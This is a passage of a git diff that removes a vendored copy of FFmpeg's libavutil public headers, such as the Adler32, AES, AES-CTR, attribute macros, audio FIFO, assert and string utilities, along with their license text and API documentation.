PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_ADLER32_H -#define AVUTIL_ADLER32_H - -#include -#include "attributes.h" - -/** - * @file - * Public header for libavutil Adler32 hasher - * - * @defgroup lavu_adler32 Adler32 - * @ingroup lavu_crypto - * @{ - */ - -/** - * Calculate the Adler32 checksum of a buffer. - * - * Passing the return value to a subsequent av_adler32_update() call - * allows the checksum of multiple buffers to be calculated as though - * they were concatenated. - * - * @param adler initial checksum value - * @param buf pointer to input buffer - * @param len size of input buffer - * @return updated checksum - */ -unsigned long av_adler32_update(unsigned long adler, const uint8_t *buf, - unsigned int len) av_pure; - -/** - * @} - */ - -#endif /* AVUTIL_ADLER32_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/aes.h b/desktop_3230/FFmpeg/include/libavutil/aes.h deleted file mode 100644 index 09efbda..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/aes.h +++ /dev/null @@ -1,65 +0,0 @@ -/* - * copyright (c) 2007 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_AES_H -#define AVUTIL_AES_H - -#include - -#include "attributes.h" -#include "version.h" - -/** - * @defgroup lavu_aes AES - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_aes_size; - -struct AVAES; - -/** - * Allocate an AVAES context. - */ -struct AVAES *av_aes_alloc(void); - -/** - * Initialize an AVAES context. - * @param key_bits 128, 192 or 256 - * @param decrypt 0 for encryption, 1 for decryption - */ -int av_aes_init(struct AVAES *a, const uint8_t *key, int key_bits, int decrypt); - -/** - * Encrypt or decrypt a buffer using a previously initialized context. - * @param count number of 16 byte blocks - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param iv initialization vector for CBC mode, if NULL then ECB will be used - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_aes_crypt(struct AVAES *a, uint8_t *dst, const uint8_t *src, int count, uint8_t *iv, int decrypt); - -/** - * @} - */ - -#endif /* AVUTIL_AES_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/aes_ctr.h b/desktop_3230/FFmpeg/include/libavutil/aes_ctr.h deleted file mode 100644 index f596fa6..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/aes_ctr.h +++ /dev/null @@ -1,83 +0,0 @@ -/* - * AES-CTR cipher - * Copyright (c) 2015 Eran Kornblau - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_AES_CTR_H -#define AVUTIL_AES_CTR_H - -#include - -#include "attributes.h" -#include "version.h" - -#define AES_CTR_KEY_SIZE (16) -#define AES_CTR_IV_SIZE (8) - -struct AVAESCTR; - -/** - * Allocate an AVAESCTR context. - */ -struct AVAESCTR *av_aes_ctr_alloc(void); - -/** - * Initialize an AVAESCTR context. - * @param key encryption key, must have a length of AES_CTR_KEY_SIZE - */ -int av_aes_ctr_init(struct AVAESCTR *a, const uint8_t *key); - -/** - * Release an AVAESCTR context. - */ -void av_aes_ctr_free(struct AVAESCTR *a); - -/** - * Process a buffer using a previously initialized context. - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param size the size of src and dst - */ -void av_aes_ctr_crypt(struct AVAESCTR *a, uint8_t *dst, const uint8_t *src, int size); - -/** - * Get the current iv - */ -const uint8_t* av_aes_ctr_get_iv(struct AVAESCTR *a); - -/** - * Generate a random iv - */ -void av_aes_ctr_set_random_iv(struct AVAESCTR *a); - -/** - * Forcefully change the iv - */ -void av_aes_ctr_set_iv(struct AVAESCTR *a, const uint8_t* iv); - -/** - * Increment the top 64 bit of the iv (performed after each frame) - */ -void av_aes_ctr_increment_iv(struct AVAESCTR *a); - -/** - * @} - */ - -#endif /* AVUTIL_AES_CTR_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/attributes.h b/desktop_3230/FFmpeg/include/libavutil/attributes.h deleted file mode 100644 index 5c6b9de..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/attributes.h +++ /dev/null @@ -1,168 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * Macro definitions for various function/variable attributes - */ - -#ifndef AVUTIL_ATTRIBUTES_H -#define AVUTIL_ATTRIBUTES_H - -#ifdef __GNUC__ -# define AV_GCC_VERSION_AT_LEAST(x,y) (__GNUC__ > (x) || __GNUC__ == (x) && __GNUC_MINOR__ >= (y)) -# define AV_GCC_VERSION_AT_MOST(x,y) (__GNUC__ < (x) || __GNUC__ == (x) && __GNUC_MINOR__ <= (y)) -#else -# define AV_GCC_VERSION_AT_LEAST(x,y) 0 -# define AV_GCC_VERSION_AT_MOST(x,y) 0 -#endif - -#ifndef av_always_inline -#if AV_GCC_VERSION_AT_LEAST(3,1) -# define av_always_inline __attribute__((always_inline)) inline -#elif defined(_MSC_VER) -# define av_always_inline __forceinline -#else -# define av_always_inline inline -#endif -#endif - -#ifndef av_extern_inline -#if defined(__ICL) && __ICL >= 1210 || defined(__GNUC_STDC_INLINE__) -# define av_extern_inline extern inline -#else -# define av_extern_inline inline -#endif -#endif - -#if AV_GCC_VERSION_AT_LEAST(3,4) -# define av_warn_unused_result __attribute__((warn_unused_result)) -#else -# define av_warn_unused_result -#endif - -#if AV_GCC_VERSION_AT_LEAST(3,1) -# define av_noinline __attribute__((noinline)) -#elif defined(_MSC_VER) -# define av_noinline __declspec(noinline) -#else -# define av_noinline -#endif - -#if AV_GCC_VERSION_AT_LEAST(3,1) -# define av_pure __attribute__((pure)) -#else -# define av_pure -#endif - -#if AV_GCC_VERSION_AT_LEAST(2,6) -# define av_const __attribute__((const)) -#else -# define av_const -#endif - -#if AV_GCC_VERSION_AT_LEAST(4,3) -# define av_cold __attribute__((cold)) -#else -# define av_cold -#endif - -#if AV_GCC_VERSION_AT_LEAST(4,1) && !defined(__llvm__) -# define av_flatten __attribute__((flatten)) -#else -# define av_flatten -#endif - -#if AV_GCC_VERSION_AT_LEAST(3,1) -# define attribute_deprecated __attribute__((deprecated)) -#elif defined(_MSC_VER) -# define attribute_deprecated __declspec(deprecated) -#else -# define attribute_deprecated -#endif - -/** - * Disable warnings about deprecated features - * This is useful for sections of code kept for backward compatibility and - * scheduled for removal. - */ -#ifndef AV_NOWARN_DEPRECATED -#if AV_GCC_VERSION_AT_LEAST(4,6) -# define AV_NOWARN_DEPRECATED(code) \ - _Pragma("GCC diagnostic push") \ - _Pragma("GCC diagnostic ignored \"-Wdeprecated-declarations\"") \ - code \ - _Pragma("GCC diagnostic pop") -#elif defined(_MSC_VER) -# define AV_NOWARN_DEPRECATED(code) \ - __pragma(warning(push)) \ - __pragma(warning(disable : 4996)) \ - code; \ - __pragma(warning(pop)) -#else -# define AV_NOWARN_DEPRECATED(code) code -#endif -#endif - - -#if defined(__GNUC__) -# define av_unused __attribute__((unused)) -#else -# define av_unused -#endif - -/** - * Mark a variable as used and prevent the compiler from optimizing it - * away. This is useful for variables accessed only from inline - * assembler without the compiler being aware. - */ -#if AV_GCC_VERSION_AT_LEAST(3,1) -# define av_used __attribute__((used)) -#else -# define av_used -#endif - -#if AV_GCC_VERSION_AT_LEAST(3,3) -# define av_alias __attribute__((may_alias)) -#else -# define av_alias -#endif - -#if defined(__GNUC__) && !defined(__INTEL_COMPILER) && !defined(__clang__) -# define av_uninit(x) x=x -#else -# define av_uninit(x) x -#endif - -#ifdef __GNUC__ -# define av_builtin_constant_p __builtin_constant_p -# define av_printf_format(fmtpos, attrpos) __attribute__((__format__(__printf__, fmtpos, attrpos))) -#else -# define av_builtin_constant_p(x) 0 -# define av_printf_format(fmtpos, attrpos) -#endif - -#if AV_GCC_VERSION_AT_LEAST(2,5) -# define av_noreturn __attribute__((noreturn)) -#else -# define av_noreturn -#endif - -#endif /* AVUTIL_ATTRIBUTES_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/audio_fifo.h b/desktop_3230/FFmpeg/include/libavutil/audio_fifo.h deleted file mode 100644 index 24f91da..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/audio_fifo.h +++ /dev/null @@ -1,170 +0,0 @@ -/* - * Audio FIFO - * Copyright (c) 2012 Justin Ruggles - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * Audio FIFO Buffer - */ - -#ifndef AVUTIL_AUDIO_FIFO_H -#define AVUTIL_AUDIO_FIFO_H - -#include "avutil.h" -#include "fifo.h" -#include "samplefmt.h" - -/** - * @addtogroup lavu_audio - * @{ - * - * @defgroup lavu_audiofifo Audio FIFO Buffer - * @{ - */ - -/** - * Context for an Audio FIFO Buffer. - * - * - Operates at the sample level rather than the byte level. - * - Supports multiple channels with either planar or packed sample format. - * - Automatic reallocation when writing to a full buffer. - */ -typedef struct AVAudioFifo AVAudioFifo; - -/** - * Free an AVAudioFifo. - * - * @param af AVAudioFifo to free - */ -void av_audio_fifo_free(AVAudioFifo *af); - -/** - * Allocate an AVAudioFifo. - * - * @param sample_fmt sample format - * @param channels number of channels - * @param nb_samples initial allocation size, in samples - * @return newly allocated AVAudioFifo, or NULL on error - */ -AVAudioFifo *av_audio_fifo_alloc(enum AVSampleFormat sample_fmt, int channels, - int nb_samples); - -/** - * Reallocate an AVAudioFifo. - * - * @param af AVAudioFifo to reallocate - * @param nb_samples new allocation size, in samples - * @return 0 if OK, or negative AVERROR code on failure - */ -av_warn_unused_result -int av_audio_fifo_realloc(AVAudioFifo *af, int nb_samples); - -/** - * Write data to an AVAudioFifo. - * - * The AVAudioFifo will be reallocated automatically if the available space - * is less than nb_samples. - * - * @see enum AVSampleFormat - * The documentation for AVSampleFormat describes the data layout. - * - * @param af AVAudioFifo to write to - * @param data audio data plane pointers - * @param nb_samples number of samples to write - * @return number of samples actually written, or negative AVERROR - * code on failure. If successful, the number of samples - * actually written will always be nb_samples. - */ -int av_audio_fifo_write(AVAudioFifo *af, void **data, int nb_samples); - -/** - * Peek data from an AVAudioFifo. - * - * @see enum AVSampleFormat - * The documentation for AVSampleFormat describes the data layout. - * - * @param af AVAudioFifo to read from - * @param data audio data plane pointers - * @param nb_samples number of samples to peek - * @return number of samples actually peek, or negative AVERROR code - * on failure. The number of samples actually peek will not - * be greater than nb_samples, and will only be less than - * nb_samples if av_audio_fifo_size is less than nb_samples. - */ -int av_audio_fifo_peek(AVAudioFifo *af, void **data, int nb_samples); - -/** - * Read data from an AVAudioFifo. - * - * @see enum AVSampleFormat - * The documentation for AVSampleFormat describes the data layout. - * - * @param af AVAudioFifo to read from - * @param data audio data plane pointers - * @param nb_samples number of samples to read - * @return number of samples actually read, or negative AVERROR code - * on failure. The number of samples actually read will not - * be greater than nb_samples, and will only be less than - * nb_samples if av_audio_fifo_size is less than nb_samples. - */ -int av_audio_fifo_read(AVAudioFifo *af, void **data, int nb_samples); - -/** - * Drain data from an AVAudioFifo. - * - * Removes the data without reading it. - * - * @param af AVAudioFifo to drain - * @param nb_samples number of samples to drain - * @return 0 if OK, or negative AVERROR code on failure - */ -int av_audio_fifo_drain(AVAudioFifo *af, int nb_samples); - -/** - * Reset the AVAudioFifo buffer. - * - * This empties all data in the buffer. - * - * @param af AVAudioFifo to reset - */ -void av_audio_fifo_reset(AVAudioFifo *af); - -/** - * Get the current number of samples in the AVAudioFifo available for reading. - * - * @param af the AVAudioFifo to query - * @return number of samples available for reading - */ -int av_audio_fifo_size(AVAudioFifo *af); - -/** - * Get the current number of samples in the AVAudioFifo available for writing. - * - * @param af the AVAudioFifo to query - * @return number of samples available for writing - */ -int av_audio_fifo_space(AVAudioFifo *af); - -/** - * @} - * @} - */ - -#endif /* AVUTIL_AUDIO_FIFO_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/avassert.h b/desktop_3230/FFmpeg/include/libavutil/avassert.h deleted file mode 100644 index 41f5e0e..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/avassert.h +++ /dev/null @@ -1,66 +0,0 @@ -/* - * copyright (c) 2010 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * simple assert() macros that are a bit more flexible than ISO C assert(). - * @author Michael Niedermayer - */ - -#ifndef AVUTIL_AVASSERT_H -#define AVUTIL_AVASSERT_H - -#include -#include "avutil.h" -#include "log.h" - -/** - * assert() equivalent, that is always enabled. - */ -#define av_assert0(cond) do { \ - if (!(cond)) { \ - av_log(NULL, AV_LOG_PANIC, "Assertion %s failed at %s:%d\n", \ - AV_STRINGIFY(cond), __FILE__, __LINE__); \ - abort(); \ - } \ -} while (0) - - -/** - * assert() equivalent, that does not lie in speed critical code. - * These asserts() thus can be enabled without fearing speedloss. - */ -#if defined(ASSERT_LEVEL) && ASSERT_LEVEL > 0 -#define av_assert1(cond) av_assert0(cond) -#else -#define av_assert1(cond) ((void)0) -#endif - - -/** - * assert() equivalent, that does lie in speed critical code. - */ -#if defined(ASSERT_LEVEL) && ASSERT_LEVEL > 1 -#define av_assert2(cond) av_assert0(cond) -#else -#define av_assert2(cond) ((void)0) -#endif - -#endif /* AVUTIL_AVASSERT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/avconfig.h b/desktop_3230/FFmpeg/include/libavutil/avconfig.h deleted file mode 100644 index 36a8cd1..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/avconfig.h +++ /dev/null @@ -1,7 +0,0 @@ -/* Generated by ffconf */ -#ifndef AVUTIL_AVCONFIG_H -#define AVUTIL_AVCONFIG_H -#define AV_HAVE_BIGENDIAN 0 -#define AV_HAVE_FAST_UNALIGNED 1 -#define AV_HAVE_INCOMPATIBLE_LIBAV_ABI 0 -#endif /* AVUTIL_AVCONFIG_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/avstring.h b/desktop_3230/FFmpeg/include/libavutil/avstring.h deleted file mode 100644 index 15b04ba..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/avstring.h +++ /dev/null @@ -1,402 +0,0 @@ -/* - * Copyright (c) 2007 Mans Rullgard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_AVSTRING_H -#define AVUTIL_AVSTRING_H - -#include -#include -#include "attributes.h" - -/** - * @addtogroup lavu_string - * @{ - */ - -/** - * Return non-zero if pfx is a prefix of str. If it is, *ptr is set to - * the address of the first character in str after the prefix. - * - * @param str input string - * @param pfx prefix to test - * @param ptr updated if the prefix is matched inside str - * @return non-zero if the prefix matches, zero otherwise - */ -int av_strstart(const char *str, const char *pfx, const char **ptr); - -/** - * Return non-zero if pfx is a prefix of str independent of case. If - * it is, *ptr is set to the address of the first character in str - * after the prefix. - * - * @param str input string - * @param pfx prefix to test - * @param ptr updated if the prefix is matched inside str - * @return non-zero if the prefix matches, zero otherwise - */ -int av_stristart(const char *str, const char *pfx, const char **ptr); - -/** - * Locate the first case-independent occurrence in the string haystack - * of the string needle. A zero-length string needle is considered to - * match at the start of haystack. - * - * This function is a case-insensitive version of the standard strstr(). - * - * @param haystack string to search in - * @param needle string to search for - * @return pointer to the located match within haystack - * or a null pointer if no match - */ -char *av_stristr(const char *haystack, const char *needle); - -/** - * Locate the first occurrence of the string needle in the string haystack - * where not more than hay_length characters are searched. A zero-length - * string needle is considered to match at the start of haystack. - * - * This function is a length-limited version of the standard strstr(). - * - * @param haystack string to search in - * @param needle string to search for - * @param hay_length length of string to search in - * @return pointer to the located match within haystack - * or a null pointer if no match - */ -char *av_strnstr(const char *haystack, const char *needle, size_t hay_length); - -/** - * Copy the string src to dst, but no more than size - 1 bytes, and - * null-terminate dst. - * - * This function is the same as BSD strlcpy(). - * - * @param dst destination buffer - * @param src source string - * @param size size of destination buffer - * @return the length of src - * - * @warning since the return value is the length of src, src absolutely - * _must_ be a properly 0-terminated string, otherwise this will read beyond - * the end of the buffer and possibly crash. - */ -size_t av_strlcpy(char *dst, const char *src, size_t size); - -/** - * Append the string src to the string dst, but to a total length of - * no more than size - 1 bytes, and null-terminate dst. - * - * This function is similar to BSD strlcat(), but differs when - * size <= strlen(dst). - * - * @param dst destination buffer - * @param src source string - * @param size size of destination buffer - * @return the total length of src and dst - * - * @warning since the return value use the length of src and dst, these - * absolutely _must_ be a properly 0-terminated strings, otherwise this - * will read beyond the end of the buffer and possibly crash. - */ -size_t av_strlcat(char *dst, const char *src, size_t size); - -/** - * Append output to a string, according to a format. Never write out of - * the destination buffer, and always put a terminating 0 within - * the buffer. - * @param dst destination buffer (string to which the output is - * appended) - * @param size total size of the destination buffer - * @param fmt printf-compatible format string, specifying how the - * following parameters are used - * @return the length of the string that would have been generated - * if enough space had been available - */ -size_t av_strlcatf(char *dst, size_t size, const char *fmt, ...) av_printf_format(3, 4); - -/** - * Get the count of continuous non zero chars starting from the beginning. - * - * @param len maximum number of characters to check in the string, that - * is the maximum value which is returned by the function - */ -static inline size_t av_strnlen(const char *s, size_t len) -{ - size_t i; - for (i = 0; i < len && s[i]; i++) - ; - return i; -} - -/** - * Print arguments following specified format into a large enough auto - * allocated buffer. It is similar to GNU asprintf(). - * @param fmt printf-compatible format string, specifying how the - * following parameters are used. - * @return the allocated string - * @note You have to free the string yourself with av_free(). - */ -char *av_asprintf(const char *fmt, ...) av_printf_format(1, 2); - -/** - * Convert a number to a av_malloced string. - */ -char *av_d2str(double d); - -/** - * Unescape the given string until a non escaped terminating char, - * and return the token corresponding to the unescaped string. - * - * The normal \ and ' escaping is supported. Leading and trailing - * whitespaces are removed, unless they are escaped with '\' or are - * enclosed between ''. - * - * @param buf the buffer to parse, buf will be updated to point to the - * terminating char - * @param term a 0-terminated list of terminating chars - * @return the malloced unescaped string, which must be av_freed by - * the user, NULL in case of allocation failure - */ -char *av_get_token(const char **buf, const char *term); - -/** - * Split the string into several tokens which can be accessed by - * successive calls to av_strtok(). - * - * A token is defined as a sequence of characters not belonging to the - * set specified in delim. - * - * On the first call to av_strtok(), s should point to the string to - * parse, and the value of saveptr is ignored. In subsequent calls, s - * should be NULL, and saveptr should be unchanged since the previous - * call. - * - * This function is similar to strtok_r() defined in POSIX.1. - * - * @param s the string to parse, may be NULL - * @param delim 0-terminated list of token delimiters, must be non-NULL - * @param saveptr user-provided pointer which points to stored - * information necessary for av_strtok() to continue scanning the same - * string. saveptr is updated to point to the next character after the - * first delimiter found, or to NULL if the string was terminated - * @return the found token, or NULL when no token is found - */ -char *av_strtok(char *s, const char *delim, char **saveptr); - -/** - * Locale-independent conversion of ASCII isdigit. - */ -static inline av_const int av_isdigit(int c) -{ - return c >= '0' && c <= '9'; -} - -/** - * Locale-independent conversion of ASCII isgraph. - */ -static inline av_const int av_isgraph(int c) -{ - return c > 32 && c < 127; -} - -/** - * Locale-independent conversion of ASCII isspace. - */ -static inline av_const int av_isspace(int c) -{ - return c == ' ' || c == '\f' || c == '\n' || c == '\r' || c == '\t' || - c == '\v'; -} - -/** - * Locale-independent conversion of ASCII characters to uppercase. - */ -static inline av_const int av_toupper(int c) -{ - if (c >= 'a' && c <= 'z') - c ^= 0x20; - return c; -} - -/** - * Locale-independent conversion of ASCII characters to lowercase. - */ -static inline av_const int av_tolower(int c) -{ - if (c >= 'A' && c <= 'Z') - c ^= 0x20; - return c; -} - -/** - * Locale-independent conversion of ASCII isxdigit. - */ -static inline av_const int av_isxdigit(int c) -{ - c = av_tolower(c); - return av_isdigit(c) || (c >= 'a' && c <= 'f'); -} - -/** - * Locale-independent case-insensitive compare. - * @note This means only ASCII-range characters are case-insensitive - */ -int av_strcasecmp(const char *a, const char *b); - -/** - * Locale-independent case-insensitive compare. - * @note This means only ASCII-range characters are case-insensitive - */ -int av_strncasecmp(const char *a, const char *b, size_t n); - - -/** - * Thread safe basename. - * @param path the path, on DOS both \ and / are considered separators. - * @return pointer to the basename substring. - */ -const char *av_basename(const char *path); - -/** - * Thread safe dirname. - * @param path the path, on DOS both \ and / are considered separators. - * @return the path with the separator replaced by the string terminator or ".". - * @note the function may change the input string. - */ -const char *av_dirname(char *path); - -/** - * Match instances of a name in a comma-separated list of names. - * List entries are checked from the start to the end of the names list, - * the first match ends further processing. If an entry prefixed with '-' - * matches, then 0 is returned. The "ALL" list entry is considered to - * match all names. - * - * @param name Name to look for. - * @param names List of names. - * @return 1 on match, 0 otherwise. - */ -int av_match_name(const char *name, const char *names); - -/** - * Append path component to the existing path. - * Path separator '/' is placed between when needed. - * Resulting string have to be freed with av_free(). - * @param path base path - * @param component component to be appended - * @return new path or NULL on error. - */ -char *av_append_path_component(const char *path, const char *component); - -enum AVEscapeMode { - AV_ESCAPE_MODE_AUTO, ///< Use auto-selected escaping mode. - AV_ESCAPE_MODE_BACKSLASH, ///< Use backslash escaping. - AV_ESCAPE_MODE_QUOTE, ///< Use single-quote escaping. -}; - -/** - * Consider spaces special and escape them even in the middle of the - * string. - * - * This is equivalent to adding the whitespace characters to the special - * characters lists, except it is guaranteed to use the exact same list - * of whitespace characters as the rest of libavutil. - */ -#define AV_ESCAPE_FLAG_WHITESPACE (1 << 0) - -/** - * Escape only specified special characters. - * Without this flag, escape also any characters that may be considered - * special by av_get_token(), such as the single quote. - */ -#define AV_ESCAPE_FLAG_STRICT (1 << 1) - -/** - * Escape string in src, and put the escaped string in an allocated - * string in *dst, which must be freed with av_free(). - * - * @param dst pointer where an allocated string is put - * @param src string to escape, must be non-NULL - * @param special_chars string containing the special characters which - * need to be escaped, can be NULL - * @param mode escape mode to employ, see AV_ESCAPE_MODE_* macros. - * Any unknown value for mode will be considered equivalent to - * AV_ESCAPE_MODE_BACKSLASH, but this behaviour can change without - * notice. - * @param flags flags which control how to escape, see AV_ESCAPE_FLAG_ macros - * @return the length of the allocated string, or a negative error code in case of error - * @see av_bprint_escape() - */ -av_warn_unused_result -int av_escape(char **dst, const char *src, const char *special_chars, - enum AVEscapeMode mode, int flags); - -#define AV_UTF8_FLAG_ACCEPT_INVALID_BIG_CODES 1 ///< accept codepoints over 0x10FFFF -#define AV_UTF8_FLAG_ACCEPT_NON_CHARACTERS 2 ///< accept non-characters - 0xFFFE and 0xFFFF -#define AV_UTF8_FLAG_ACCEPT_SURROGATES 4 ///< accept UTF-16 surrogates codes -#define AV_UTF8_FLAG_EXCLUDE_XML_INVALID_CONTROL_CODES 8 ///< exclude control codes not accepted by XML - -#define AV_UTF8_FLAG_ACCEPT_ALL \ - AV_UTF8_FLAG_ACCEPT_INVALID_BIG_CODES|AV_UTF8_FLAG_ACCEPT_NON_CHARACTERS|AV_UTF8_FLAG_ACCEPT_SURROGATES - -/** - * Read and decode a single UTF-8 code point (character) from the - * buffer in *buf, and update *buf to point to the next byte to - * decode. - * - * In case of an invalid byte sequence, the pointer will be updated to - * the next byte after the invalid sequence and the function will - * return an error code. - * - * Depending on the specified flags, the function will also fail in - * case the decoded code point does not belong to a valid range. - * - * @note For speed-relevant code a carefully implemented use of - * GET_UTF8() may be preferred. - * - * @param codep pointer used to return the parsed code in case of success. - * The value in *codep is set even in case the range check fails. - * @param bufp pointer to the address the first byte of the sequence - * to decode, updated by the function to point to the - * byte next after the decoded sequence - * @param buf_end pointer to the end of the buffer, points to the next - * byte past the last in the buffer. This is used to - * avoid buffer overreads (in case of an unfinished - * UTF-8 sequence towards the end of the buffer). - * @param flags a collection of AV_UTF8_FLAG_* flags - * @return >= 0 in case a sequence was successfully read, a negative - * value in case of invalid sequence - */ -av_warn_unused_result -int av_utf8_decode(int32_t *codep, const uint8_t **bufp, const uint8_t *buf_end, - unsigned int flags); - -/** - * Check if a name is in a list. - * @returns 0 if not found, or the 1 based index where it has been found in the - * list. - */ -int av_match_list(const char *name, const char *list, char separator); - -/** - * @} - */ - -#endif /* AVUTIL_AVSTRING_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/avutil.h b/desktop_3230/FFmpeg/include/libavutil/avutil.h deleted file mode 100644 index 9bcf674..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/avutil.h +++ /dev/null @@ -1,343 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_AVUTIL_H -#define AVUTIL_AVUTIL_H - -/** - * @file - * external API header - */ - -/** - * @mainpage - * - * @section ffmpeg_intro Introduction - * - * This document describes the usage of the different libraries - * provided by FFmpeg. - * - * @li @ref libavc "libavcodec" encoding/decoding library - * @li @ref lavfi "libavfilter" graph-based frame editing library - * @li @ref libavf "libavformat" I/O and muxing/demuxing library - * @li @ref lavd "libavdevice" special devices muxing/demuxing library - * @li @ref lavu "libavutil" common utility library - * @li @ref lswr "libswresample" audio resampling, format conversion and mixing - * @li @ref lpp "libpostproc" post processing library - * @li @ref libsws "libswscale" color conversion and scaling library - * - * @section ffmpeg_versioning Versioning and compatibility - * - * Each of the FFmpeg libraries contains a version.h header, which defines a - * major, minor and micro version number with the - * LIBRARYNAME_VERSION_{MAJOR,MINOR,MICRO} macros. The major version - * number is incremented with backward incompatible changes - e.g. removing - * parts of the public API, reordering public struct members, etc. The minor - * version number is incremented for backward compatible API changes or major - * new features - e.g. adding a new public function or a new decoder. The micro - * version number is incremented for smaller changes that a calling program - * might still want to check for - e.g. changing behavior in a previously - * unspecified situation. - * - * FFmpeg guarantees backward API and ABI compatibility for each library as long - * as its major version number is unchanged. This means that no public symbols - * will be removed or renamed. Types and names of the public struct members and - * values of public macros and enums will remain the same (unless they were - * explicitly declared as not part of the public API). Documented behavior will - * not change. - * - * In other words, any correct program that works with a given FFmpeg snapshot - * should work just as well without any changes with any later snapshot with the - * same major versions. This applies to both rebuilding the program against new - * FFmpeg versions or to replacing the dynamic FFmpeg libraries that a program - * links against. - * - * However, new public symbols may be added and new members may be appended to - * public structs whose size is not part of public ABI (most public structs in - * FFmpeg). New macros and enum values may be added. Behavior in undocumented - * situations may change slightly (and be documented). All those are accompanied - * by an entry in doc/APIchanges and incrementing either the minor or micro - * version number. - */ - 